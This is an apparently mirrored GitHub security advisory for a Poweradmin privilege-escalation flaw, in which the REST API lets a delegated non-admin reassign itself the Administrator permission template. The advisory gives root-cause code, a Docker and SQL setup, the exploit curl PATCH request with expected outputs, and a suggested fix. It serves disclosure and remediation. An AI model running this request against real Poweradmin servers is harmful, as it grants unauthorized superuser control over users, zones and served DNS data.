GHSA-8G9P-FHX7-XG57
API PATCH perm_templ self-assignment lets a non-admin become superuser
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-8G9P-FHX7-XG57 divulgada · CVSS 8.8 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The REST API lets a non-superuser assign a permission template to a user without enforcing the rule the web UI enforces: a user editing their own account may not change their permission template unless they hold `user_edit_others`. Via the API, a delegated account holding `user_edit_templ_perm` (but not `user_edit_others` and not `user_is_ueberuser`) can `PATCH` its own user record to the built-in "Administrator" template and instantly become a full superuser (`user_is_ueberuser`). The web UI silently discards the identical change.
This is the sibling the 2026-07-24 fix for GHSA-h4hf-v6w5-897x https://github.com/poweradmin/poweradmin/security/advisories/GHSA-h4hf-v6w5-897x left open: that fix hardened the API user endpoint's password write and blocked editing a superuser *target*, but the `perm_templ` self-assignment path was not addressed, and the maintainers' own self-elevation guard (`de44a1e45` https://github.com/poweradmin/poweradmin/commit/de44a1e45, "gate perm_templ ... to prevent self-elevation") keys on `user_edit_templ_perm`, which the web treats as insufficient for self-retemplating.
Root Cause
The API path `PATCH /api/v1/users/{id}` → `assignPermissionTemplate()` authorizes with only two checks, then assigns any user-type template:
// lib/Application/Controller/Api/V1/UsersController.php:979-1000
if (!$this->apiPermissionService->canEditUser($currentUserId, $targetUserId)) { // (1)
return $this->returnApiError('You do not have permission to edit this user', 403);
}
if (!$this->apiPermissionService->canEditPermissionTemplates($currentUserId)) { // (2)
return $this->returnApiError('You do not have permission to edit permission templates', 403);
}
...
$result = $this->userManagementService->assignPermissionTemplate($targetUserId, $permTemplId);For a self target both checks pass with ordinary self-service permissions:
// lib/Domain/Service/ApiPermissionService.php:383-384 (canEditUser)
if ($userId === $targetUserId && $this->userHasPermission($userId, 'user_edit_own')) {
return true;
// lib/Domain/Service/ApiPermissionService.php:477-478 (canEditPermissionTemplates)
// User with user_edit_templ_perm can edit permission templates
return $this->userHasPermission($userId, 'user_edit_templ_perm');and the domain service performs no privilege check — it only verifies the template exists and is user-type, which the built-in Administrator template (id 1, `template_type='user'`, carries `user_is_ueberuser`) satisfies:
// lib/Domain/Service/UserManagementService.php:549 (assignPermissionTemplate)
if (!$this->permissionTemplateExists($permTemplId, 'user')) {
return ['success' => false, 'message' => 'Permission template not found', 'status' => 404];
}The web gate it fails to mirror. In the web user editor, a self-editor without `user_edit_others` has the submitted template discarded and the existing one kept — regardless of `user_edit_templ_perm`:
// lib/Application/Controller/EditUserController.php:301-305
// If editing own profile and not an admin, maintain existing template
if ($isOwnProfile && !$canEditOthers) { // $canEditOthers = user_edit_others only
$userData = $userData ?? $this->getUserDetails($editId);
$permTempl = $userData['tpl_id']; // submitted perm_templ discarded
}So the same account, performing the same self-retemplate, is denied by the web and granted superuser by the API.
Linkified sources (v4.4.0): V1 `assignPermissionTemplate` https://github.com/poweradmin/poweradmin/blob/v4.4.0/lib/Application/Controller/Api/V1/UsersController.php#L971-L1024, `canEditUser` https://github.com/poweradmin/poweradmin/blob/v4.4.0/lib/Domain/Service/ApiPermissionService.php#L371-L390, `canEditPermissionTemplates` https://github.com/poweradmin/poweradmin/blob/v4.4.0/lib/Domain/Service/ApiPermissionService.php#L470-L479, `UserManagementService::assignPermissionTemplate` https://github.com/poweradmin/poweradmin/blob/v4.4.0/lib/Domain/Service/UserManagementService.php#L537-L578, `EditUserController` self-template force https://github.com/poweradmin/poweradmin/blob/v4.4.0/lib/Application/Controller/EditUserController.php#L301-L305, V2 `assignPermissionTemplate` https://github.com/poweradmin/poweradmin/blob/v4.4.0/lib/Application/Controller/Api/V2/UsersController.php#L970-L983 (same defect).
Steps to Reproduce
Prerequisites
- Docker
- The REST API is enabled (`api.enabled = true`; `PA_API_ENABLED=true` below). It is off by default but commonly enabled for automation (e.g. the Terraform provider).
- A delegated non-admin role exists holding `user_edit_own` + `user_edit_templ_perm` (and `api_manage_keys` to self-service an API key). Step 2 provisions exactly such an account and issues it an API key, representing an admin having created a delegated "role/template manager".
Step 0: Set environment variables
export BASE="http://localhost:8080"
export APIKEY="pwa_0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"Step 1: Start Poweradmin at the latest release
docker run --name pa-poc -p 8080:80 \
-e DB_TYPE=sqlite \
-e PA_CREATE_ADMIN=1 -e PA_ADMIN_USERNAME=admin -e PA_ADMIN_PASSWORD=admin \
-e PA_API_ENABLED=true \
poweradmin/poweradmin:latestOpen a new terminal for the remaining steps.
Step 2: Provision a delegated non-admin role-manager and its automation API key
`perm_items` ids: `56 = user_edit_own`, `59 = user_edit_templ_perm`, `65 = api_manage_keys`. The account gets none of `user_edit_others` (57) or `user_is_ueberuser` (53).
ATTACKER_HASH=$(docker exec pa-poc php -r 'echo password_hash("RmgrPass1", PASSWORD_DEFAULT);')
docker exec -i pa-poc sqlite3 /db/pdns.db <<EOF
INSERT INTO perm_templ (id,name,descr,template_type) VALUES (20,'RoleManager','Delegated role: assign templates + manage own API keys','user');
INSERT INTO perm_templ_items (templ_id,perm_id) VALUES (20,56),(20,59),(20,65);
INSERT INTO users (id,username,password,fullname,email,description,perm_templ,perm_templ_source,active,use_ldap,auth_method)
VALUES (2,'rmgr','$ATTACKER_HASH','Role Manager','rmgr@example.com','',20,'admin',1,0,'sql');
INSERT INTO api_keys (name,secret_key,created_by,disabled)
VALUES ('automation','$APIKEY',2,0);
EOFStep 3: Confirm the account is a non-admin (before)
curl -X GET -H "X-API-Key: $APIKEY" "$BASE/api/v1/users/2"Expected output:
{"success":true,"data":{"user_id":2,"username":"rmgr","fullname":"Role Manager","email":"rmgr@example.com","description":"","active":true,"is_admin":false,"permissions":["api_manage_keys","user_edit_own","user_edit_templ_perm"],"created_at":null,"updated_at":null},"message":"User information retrieved successfully","meta":{"timestamp":"..."}}Step 4: Exploit — self-assign the Administrator template (id 1)
curl -X PATCH -H "X-API-Key: $APIKEY" -H "Content-Type: application/json" \
-d '{"perm_templ":1}' "$BASE/api/v1/users/2"Expected output:
{"success":true,"data":{"user_id":2,"perm_templ":1},"message":"Permission template assigned successfully","meta":{"timestamp":"..."}}Step 5: Verify — the account is now a superuser
curl -X GET -H "X-API-Key: $APIKEY" "$BASE/api/v1/users/2"Expected output (was `"is_admin":false` with three delegated perms; now full superuser):
{"success":true,"data":{"user_id":2,"username":"rmgr","fullname":"Role Manager","email":"rmgr@example.com","description":"","active":true,"is_admin":true,"permissions":["user_is_ueberuser"],"created_at":null,"updated_at":null},"message":"User information retrieved successfully","meta":{"timestamp":"..."}}Step 6: Confirm full admin — list every user (an action gated on superuser)
curl -X GET -H "X-API-Key: $APIKEY" "$BASE/api/v1/users"Expected output (the account can now enumerate all users, including the administrator — impossible before Step 4):
{"success":true,"data":[{"user_id":1,"username":"admin","fullname":"Administrator","email":"admin@example.com","description":"System Administrator","active":true,"zone_count":0,"is_admin":true},{"user_id":2,"username":"rmgr","fullname":"Role Manager","email":"rmgr@example.com","description":"","active":true,"zone_count":0,"is_admin":true}],"message":"Users retrieved successfully","meta":{"timestamp":"..."}}By contrast, the same account submitting `perm_templ=1` for its own record through the web user editor (`POST /users/2/edit`) leaves `users.perm_templ` unchanged, because `EditUserController` discards a self-editor's template when the caller lacks `user_edit_others` (lines 301-305 above).
Suggested Fix
Mirror the web rule on every API user-write path: a caller may set/assign a `perm_templ` for a target that is themselves only when they hold `user_edit_others` (as `EditUserController` requires), and never let a non-superuser assign a template that grants `user_is_ueberuser`. Concretely: in `assignPermissionTemplate` (V1 and V2), reject when `callerId === targetId && !user_edit_others`, and reject assignment of any template whose items include `user_is_ueberuser` unless the caller is already a superuser.
Cleanup
docker rm -f pa-pocImpact
An authenticated non-administrator escalates to full Poweradmin superuser (`user_is_ueberuser`) with a single API request against their own account, no interaction and no knowledge of any other credential. From superuser the attacker controls every user, zone, record and setting, and thereby the DNS data PowerDNS serves.
Preconditions: the REST API is enabled, and the attacker holds a delegated role with `user_edit_templ_perm` (a "role/template manager") plus an API key for their own account. This is the same shape of precondition as the accepted sibling advisory GHSA-h4hf-v6w5-897x (API enabled + a delegated user-management role), and the API is documented as intended for automation. The defect is in the authorization model itself: the API grants a self-service capability (`user_edit_templ_perm`) more authority than the web UI, which deliberately forbids a non-`user_edit_others` user from retemplating their own account.
Split note: this advisory originally also covered the PUT path, where `PermissionTemplateAssignmentGuard` let any caller with `user_edit_templ_perm` assign any template. That is fixed independently and is now tracked as GHSA-6wjj-2g3x-78g8 so each can get its own CVE ID.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistpoweradmin/poweradmin |
Corregida | 4.2.6, 4.3.5, 4.4.1 | — | — |
4.2.64.3.54.4.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/poweradmin/poweradmin/security/advisories/GHSA-8g9p-fhx7-xg57Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
